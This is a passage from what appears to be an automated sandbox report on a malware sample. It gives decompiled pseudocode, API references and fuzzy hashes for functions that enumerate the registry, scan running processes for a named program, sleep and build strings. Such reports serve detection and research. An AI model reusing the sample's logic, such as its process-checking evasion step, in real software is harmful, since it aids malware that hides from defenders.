				} while (WaitForSingleObject( *0xf0d26c, 0) == 0x102);
				goto L16;
			}

0x00f0a446
0x00f0a460
0x00f0a463
0x00f0a466
0x00f0a469
0x00f0a46c
0x00f0a472
0x00f0a476
0x00f0a550
0x00f0a554
0x00f0a554
0x00f0a47f
0x00f0a486
0x00f0a48b
0x00f0a490
0x00f0a545
0x00f0a548
0x00000000
0x00f0a54e
0x00f0a496
0x00f0a499
0x00f0a4a0
0x00f0a4aa
0x00f0a4b3
0x00f0a4b9
0x00f0a4c1
0x00f0a4f9
0x00f0a533
0x00f0a539
0x00f0a53b
0x00f0a53b
0x00f0a53d
0x00f0a540
0x00000000
0x00f0a540
0x00f0a50e
0x00f0a513
0x00f0a517
0x00000000
0x00000000
0x00000000
0x00f0a517
0x00f0a4c6
0x00f0a4d5
0x00000000
0x00000000
0x00f0a4da
0x00f0a4e3
0x00f0a4e6
0x00f0a4eb
0x00f0a4f0
0x00f0a4cb
0x00f0a4cb
0x00000000
0x00f0a4cb
0x00f0a4f4
0x00000000
0x00f0a4f4
0x00f0a4c8
0x00000000
0x00f0a519
0x00f0a526
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,00F03741,?), ref: 00F0A46C

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

RegEnumKeyExA.KERNELBASE(?,?,?,00F03741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,00F03741), ref: 00F0A4B3
WaitForSingleObject.KERNEL32(00000000,?,?,?,00F03741,?,00F03741,?,?,?,?,?,00F03741,?), ref: 00F0A520
RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,00F03741,?,?,?,?,00F052AA,?,00000001), ref: 00F0A548

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCloseEnumHeapObjectOpenSingleWait
String ID:
API String ID: 3664505660-0
Opcode ID: 5dcfb14dbe947834a8bd1419c3b9e688e60990d77d518de316fcc51a0224e23f
Instruction ID: 5c6c46c914c8245150efc2f3af866a31996529d947b78f050015bd0b0598fcd6
Opcode Fuzzy Hash: 5dcfb14dbe947834a8bd1419c3b9e688e60990d77d518de316fcc51a0224e23f
Instruction Fuzzy Hash: 2B314976C00219ABCF22ABA9DC449FEFBB9FB94720F204466E515B21A0D2744E40FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F036B1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00F036B1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E00F03BB9(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E00F04F79(_t23);
						}
					}
					return _t38;
				}
				_t26 = E00F0A2F9(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0xf0d2ac, 1, 0,  *0xf0d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					FindCloseChangeNotification(_t40); // executed
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E00F0A446(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E00F0853F(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00F04F14(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E00F011EE( &_v32, _t39);
					goto L13;
				}
			}

0x00f036b1
0x00f036be
0x00f036c4
0x00f036c5
0x00f036c6
0x00f036c7
0x00f036c8
0x00f036cc
0x00f036d3
0x00f036d8
0x00f036dc
0x00f03764
0x00f03764
0x00f03767
0x00f03769
0x00f03771
0x00f03771
0x00f03777
0x00f0377a
0x00f0377a
0x00f03777
0x00f03785
0x00f03785
0x00f036e8
0x00f036ef
0x00f036f1
0x00f036f1
0x00f03708
0x00f0370c
0x00f0370f
0x00f0371a
0x00f03721
0x00f03721
0x00f0372a
0x00f0372e
0x00f0373c
0x00f03730
0x00f03730
0x00f03731
0x00f03732
0x00f03733
0x00f03734
0x00f03735
0x00f03735
0x00f03741
0x00f03744
0x00f03748
0x00f0374a
0x00f0374a
0x00f03751
0x00000000
0x00f03753
0x00f03753
0x00f03760
0x00000000
0x00f03760

APIs

CreateEventA.KERNEL32(00F0D2AC,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,00F052AA,?,00000001,?), ref: 00F03702
SetEvent.KERNEL32(00000000,?,?,?,00F052AA,?,00000001,?,00000002,?,?,00F05D5E,?), ref: 00F0370F
Sleep.KERNELBASE(00000BB8,?,?,?,00F052AA,?,00000001,?,00000002,?,?,00F05D5E,?), ref: 00F0371A
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,00F052AA,?,00000001,?,00000002,?,?,00F05D5E,?), ref: 00F03721

Part of subcall function 00F0A446: RegOpenKeyExA.KERNELBASE(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,00F03741,?), ref: 00F0A46C
Part of subcall function 00F0A446: RegEnumKeyExA.KERNELBASE(?,?,?,00F03741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,00F03741), ref: 00F0A4B3
Part of subcall function 00F0A446: WaitForSingleObject.KERNEL32(00000000,?,?,?,00F03741,?,00F03741,?,?,?,?,?,00F03741,?), ref: 00F0A520
Part of subcall function 00F0A446: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,00F03741,?,?,?,?,00F052AA,?,00000001), ref: 00F0A548

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$ChangeCreateEnumFindNotificationObjectOpenSingleSleepWait
String ID:
API String ID: 780868161-0
Opcode ID: e50dd6c40aae159e277138f814f72b2624e1310d93ab9af34f5a0d78d513d63f
Instruction ID: a38f2823d407efa5512feacd31796ae708293d7599924e974cab9a96e6e2302d
Opcode Fuzzy Hash: e50dd6c40aae159e277138f814f72b2624e1310d93ab9af34f5a0d78d513d63f
Instruction Fuzzy Hash: 5C21A7F7D00219ABCF20BFE58D858AEB7ADAB44360B014425FA11E7180D774AE45FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F08BC1, Relevance: 6.1, APIs: 4, Instructions: 80
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F08BC1(int _a4, int _a8, void* _a12, short* _a16, char** _a20, intOrPtr* _a24) {
				long _t26;
				intOrPtr* _t38;
				char* _t42;
				long _t43;

				if(_a4 == 0) {
					L2:
					_t26 = RegOpenKeyW(_a8, _a12,  &_a12); // executed
					_t43 = _t26;
					if(_t43 == 0) {
						RegQueryValueExW(_a12, _a16, 0,  &_a8, 0,  &_a4); // executed
						if(_a4 == 0) {
							_t43 = 0xe8;
						} else {
							_t42 = E00F0A71F(_a4);
							if(_t42 == 0) {
								_t43 = 8;
							} else {
								_t43 = RegQueryValueExW(_a12, _a16, 0,  &_a8, _t42,  &_a4);
								if(_t43 != 0) {
									E00F0A734(_t42);
								} else {
									 *_a20 = _t42;
									_t38 = _a24;
									if(_t38 != 0) {
										 *_t38 = _a4;
									}
								}
							}
						}
						RegCloseKey(_a12); // executed
					}
					L12:
					return _t43;
				}
				_t43 = E00F08B1C(_a4, _a8, _a12, _a16, _a20, _a24);
				if(_t43 == 0) {
					goto L12;
				}
				goto L2;
			}

0x00f08bcd
0x00f08bf0
0x00f08bfa
0x00f08c00
0x00f08c04
0x00f08c1c
0x00f08c21
0x00f08c69
0x00f08c23
0x00f08c2b
0x00f08c2f
0x00f08c66
0x00f08c31
0x00f08c43
0x00f08c47
0x00f08c5d
0x00f08c49
0x00f08c4c
0x00f08c4e
0x00f08c53
0x00f08c58
0x00f08c58
0x00f08c53
0x00f08c47
0x00f08c2f
0x00f08c71
0x00f08c71
0x00f08c78
0x00f08c7e
0x00f08c7e
0x00f08be6
0x00f08bea
0x00000000
0x00000000
0x00000000

APIs

RegOpenKeyW.ADVAPI32(80000002,05279B66,05279B66), ref: 00F08BFA
RegQueryValueExW.KERNELBASE(05279B66,?,00000000,80000002,00000000,00000000,?,00F0861E,3D00F0C0,80000002,00F03741,00000000,00F03741,?,05279B66,80000002), ref: 00F08C1C
RegQueryValueExW.ADVAPI32(05279B66,?,00000000,80000002,00000000,00000000,00000000,?,00F0861E,3D00F0C0,80000002,00F03741,00000000,00F03741,?,05279B66), ref: 00F08C41
RegCloseKey.KERNELBASE(05279B66,?,00F0861E,3D00F0C0,80000002,00F03741,00000000,00F03741,?,05279B66,80000002,00000000,?), ref: 00F08C71

Part of subcall function 00F08B1C: SafeArrayDestroy.OLEAUT32(00000000), ref: 00F08BA4

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryValue$ArrayCloseDestroyFreeHeapOpenSafe
String ID:
API String ID: 486277218-0
Opcode ID: 9a6cbcfccbccb39ddb489ab67f1cc69a811e6698316d4fdddd4e1941d8952d65
Instruction ID: 9cfdd674a41b16aedf80daf1927dfd22f9f705a2fb608fdf895b86554c15ff48
Opcode Fuzzy Hash: 9a6cbcfccbccb39ddb489ab67f1cc69a811e6698316d4fdddd4e1941d8952d65
Instruction Fuzzy Hash: ED212C7750015DAFDF129F94DC808EE7B79FB043A0B148036FE5497160DA319D62BBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F06545, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00F06545(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E00F0A71F(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x00f06551
0x00f06555
0x00f06556
0x00f06557
0x00f06559
0x00f0655b
0x00f0655e
0x00f06563
0x00f065fa
0x00f06601
0x00f06601
0x00f0656c
0x00f06573
0x00f06583
0x00f06583
0x00f06589
0x00f0658b
0x00f06590
0x00f06599
0x00f0659f
0x00f065a4
0x00f065af
0x00f065b3
0x00f065b5
0x00f065b6
0x00f065bf
0x00f065c3
0x00f065d4
0x00f065c5
0x00f065ca
0x00f065cf
0x00f065de
0x00f065de
0x00f065b3
0x00f065e4
0x00f065ea
0x00f065ea
0x00f065f3
0x00f065f8
0x00f065f8
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 00F06573
lstrlenW.KERNEL32(?), ref: 00F065A9
memcpy.NTDLL(00000000,?,?,?), ref: 00F065CA
SysFreeString.OLEAUT32(?), ref: 00F065DE

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: c3df387524a74e311b1ffab60aa55b7fef7c87df42df8edc2ad5f0d25e3bbebc
Instruction ID: 2a2b7915635b6ff1f2ac065db7e4ab7215e994d9a7351ed60da2449d9a2f3bc1
Opcode Fuzzy Hash: c3df387524a74e311b1ffab60aa55b7fef7c87df42df8edc2ad5f0d25e3bbebc
Instruction Fuzzy Hash: E3218075900209EFCB11DFA8CD849AEBBF9FF48314B148169E906E7254EB30DA11EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F0486F, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00F0486F(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E00F0A71F(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0xf0c284); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0xf0c284);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x00f0487a
0x00f0487e
0x00f04880
0x00f04881
0x00f04889
0x00f04889
0x00f0488d
0x00000000
0x00000000
0x00f04884
0x00f04885
0x00f04888
0x00f04888
0x00f04895
0x00f0489a
0x00f048a0
0x00f048a8
0x00f048ae
0x00f048b0
0x00f048b5
0x00f048b9
0x00f048bb
0x00f048be
0x00f048c5
0x00f048c5
0x00f048cf
0x00f048d2
0x00f048d3
0x00f048d5
0x00f048e1
0x00f048e1
0x00f048ee

APIs

StrChrA.SHLWAPI(?,00000020,00000000,052795AC,?,00F05D25,?,00F0243F,052795AC,?,00F05D25), ref: 00F04889
StrTrimA.KERNELBASE(?,00F0C284,00000002,?,00F05D25,?,00F0243F,052795AC,?,00F05D25), ref: 00F048A8
StrChrA.SHLWAPI(?,00000020,?,00F05D25,?,00F0243F,052795AC,?,00F05D25), ref: 00F048B3
StrTrimA.SHLWAPI(00000001,00F0C284,?,00F05D25,?,00F0243F,052795AC,?,00F05D25), ref: 00F048C5

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 63d7e5708f95ce2ab774f42efc35ba596cd0b1a41904ba7065a26231e95d8f86
Instruction ID: 5d7fb1789a0febc8544e43938ab0a15b979fe6da9db65aafac2e5a692d984a6d
Opcode Fuzzy Hash: 63d7e5708f95ce2ab774f42efc35ba596cd0b1a41904ba7065a26231e95d8f86
Instruction Fuzzy Hash: 1D01B5B2A05356ABD2219F698C48F27BFD8FB45B64F114A18FA41C7280DB60D801B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A65C, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F0A65C() {
				char _v264;
				void* _v300;
				void* _t5;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t5 = CreateToolhelp32Snapshot(2, 0); // executed
				_t17 = _t5;
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0xf0d2a8; // 0x436a5a8
						_t2 = _t9 + 0xf0ee34; // 0x73617661
						_push( &_v264);
						if( *0xf0d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						FindCloseChangeNotification(_t17); // executed
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x00f0a667
0x00f0a66c
0x00f0a671
0x00f0a675
0x00f0a67f
0x00f0a6b0
0x00f0a686
0x00f0a68b
0x00f0a698
0x00f0a6a1
0x00f0a6b8
0x00f0a6a3
0x00f0a6ab
0x00000000
0x00f0a6ab
0x00f0a6b9
0x00f0a6ba
0x00000000
0x00f0a6ba
0x00000000
0x00f0a6b4
0x00f0a6c0
0x00f0a6c5

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F0A66C
Process32First.KERNEL32(00000000,?), ref: 00F0A67F
Process32Next.KERNEL32(00000000,?), ref: 00F0A6AB
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00F0A6BA

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 22a9ebcaff9cc0e77e126a402f5c05b79f14742fb481f809fc5f48fb2fd9cd58
Instruction ID: ff46a3c09a6bfb0d5265eccbc8f1deddd3f1f9266ebb49d2bdd31057c8a1e42c
Opcode Fuzzy Hash: 22a9ebcaff9cc0e77e126a402f5c05b79f14742fb481f809fc5f48fb2fd9cd58
Instruction Fuzzy Hash: C0F0BB36601218ABD720B7A6DC49EEB77BCEBC5310F050151FA05D3180EA24D985B6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F08D14, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F08D14(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E00F0A2F9(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0xf0d2a8; // 0x436a5a8
				_t4 = _t24 + 0xf0edc0; // 0x5279368
				_t5 = _t24 + 0xf0ed68; // 0x4f0053
				_t26 = E00F05356( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0xf0d2a8; // 0x436a5a8
						_t11 = _t32 + 0xf0edb4; // 0x527935c
						_t48 = _t11;
						_t12 = _t32 + 0xf0ed68; // 0x4f0053
						_t52 = E00F045C6(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0xf0d2a8; // 0x436a5a8
							_t13 = _t35 + 0xf0edfe; // 0x30314549
							if(E00F08E27(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0xf0d25c - 6;
								if( *0xf0d25c <= 6) {
									_t42 =  *0xf0d2a8; // 0x436a5a8
									_t15 = _t42 + 0xf0ec0a; // 0x52384549
									E00F08E27(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0xf0d2a8; // 0x436a5a8
							_t17 = _t38 + 0xf0edf8; // 0x52793a0
							_t18 = _t38 + 0xf0edd0; // 0x680043
							_t45 = E00F05D7D(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0xf0d238, 0, _t52);
						}
					}
					HeapFree( *0xf0d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00F04F14(_t54);
				}
				return _t45;
			}

0x00f08d14
0x00f08d24
0x00f08d27
0x00f08d2e
0x00f08d30
0x00f08d30
0x00f08d33
0x00f08d38
0x00f08d3f
0x00f08d4c
0x00f08d51
0x00f08d55
0x00f08d63
0x00f08d71
0x00f08d75
0x00f08e06
0x00f08e06
0x00f08d7b
0x00f08d7b
0x00f08d80
0x00f08d80
0x00f08d87
0x00f08d93
0x00f08d95
0x00f08d97
0x00f08d99
0x00f08da0
0x00f08db2
0x00f08db4
0x00f08dbb
0x00f08dbd
0x00f08dc4
0x00f08dcf
0x00f08dcf
0x00f08dbb
0x00f08dd4
0x00f08dd9
0x00f08de0
0x00f08dfe
0x00f08e00
0x00f08e00
0x00f08d97
0x00f08e12
0x00f08e12
0x00f08e14
0x00f08e19
0x00f08e1b
0x00f08e1b
0x00f08e26

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05279368,00000000,?,7519F710,00000000,7519F730), ref: 00F08D63
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,052793A0,?,00000000,30314549,00000014,004F0053,0527935C), ref: 00F08E00
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00F0523E), ref: 00F08E12

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: fa330d334cb0ce9efd91042c873b6b1487e53a3427455be9dd3b1cc784f79dac
Instruction ID: 7f816c46dc171bfc4b9eb3b65d8d799199207765c3bcd581011b30e0b298c86b
Opcode Fuzzy Hash: fa330d334cb0ce9efd91042c873b6b1487e53a3427455be9dd3b1cc784f79dac
Instruction Fuzzy Hash: AB31BF32900208BFDB10EBD4DC84EEABBBDEB44754F0401A5F600970A1DB70AE45FB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A376, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00F0A376(void* __ecx, void* __edx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t25;
				void* _t30;
				void* _t36;
				void* _t40;
				intOrPtr _t42;

				_t36 = __edx;
				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0xf0d340; // 0x5279a88
				_push(0x800);
				_push(0);
				_push( *0xf0d238);
				if( *0xf0d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0xf0d24c =  *0xf0d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E00F07306(_t44, _t40); // executed
						_t18 = E00F04A09(_t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0xf0d24c < 5) {
								 *0xf0d24c =  *0xf0d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E00F06761();
						RtlFreeHeap( *0xf0d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E00F01F13(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				_t25 = RtlAllocateHeap(); // executed
				if(_t25 == 0) {
					goto L6;
				}
				_t24 = E00F04AB6(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x00f0a376
0x00f0a376
0x00f0a379
0x00f0a37a
0x00f0a384
0x00f0a38b
0x00f0a390
0x00f0a392
0x00f0a398
0x00f0a3c0
0x00f0a3d8
0x00f0a3da
0x00f0a3db
0x00f0a3dd
0x00f0a41b
0x00f0a41b
0x00f0a421
0x00f0a427
0x00f0a427
0x00f0a3df
0x00f0a3e5
0x00f0a3e8
0x00f0a3f7
0x00f0a3f9
0x00f0a400
0x00f0a434
0x00f0a439
0x00f0a43b
0x00f0a43d
0x00f0a43d
0x00000000
0x00f0a43b
0x00f0a402
0x00f0a407
0x00f0a415
0x00000000
0x00f0a415
0x00f0a3cf
0x00f0a3d4
0x00f0a3d4
0x00000000
0x00f0a3d4
0x00f0a39a
0x00f0a3a2
0x00000000
0x00000000
0x00f0a3b1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 00F0A39A

Part of subcall function 00F04AB6: GetTickCount.KERNEL32 ref: 00F04ACA
Part of subcall function 00F04AB6: wsprintfA.USER32 ref: 00F04B1A
Part of subcall function 00F04AB6: wsprintfA.USER32 ref: 00F04B37
Part of subcall function 00F04AB6: wsprintfA.USER32 ref: 00F04B63
Part of subcall function 00F04AB6: HeapFree.KERNEL32(00000000,?), ref: 00F04B75
Part of subcall function 00F04AB6: wsprintfA.USER32 ref: 00F04B96
Part of subcall function 00F04AB6: HeapFree.KERNEL32(00000000,?), ref: 00F04BA6
Part of subcall function 00F04AB6: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00F04BD4
Part of subcall function 00F04AB6: GetTickCount.KERNEL32 ref: 00F04BE5

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 00F0A3B8
RtlFreeHeap.NTDLL(00000000,00000002,00F05289,?,00F05289,00000002,?,?,00F05D5E,?), ref: 00F0A415

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 23289a2e6888f6802d3b253f82d20cb017db5a2451137f7a2fb63ff89090e986
Instruction ID: 351b80d850bb2834a68186f84f1041cb0d26ca18d2f50e8d232bd9d3050c5732
Opcode Fuzzy Hash: 23289a2e6888f6802d3b253f82d20cb017db5a2451137f7a2fb63ff89090e986
Instruction Fuzzy Hash: 46214F76201309EBDB11DF98DC85E9A37ACFB44350F104125F901D71A0DBB5E941FBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F01DF4, Relevance: 4.6, APIs: 3, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

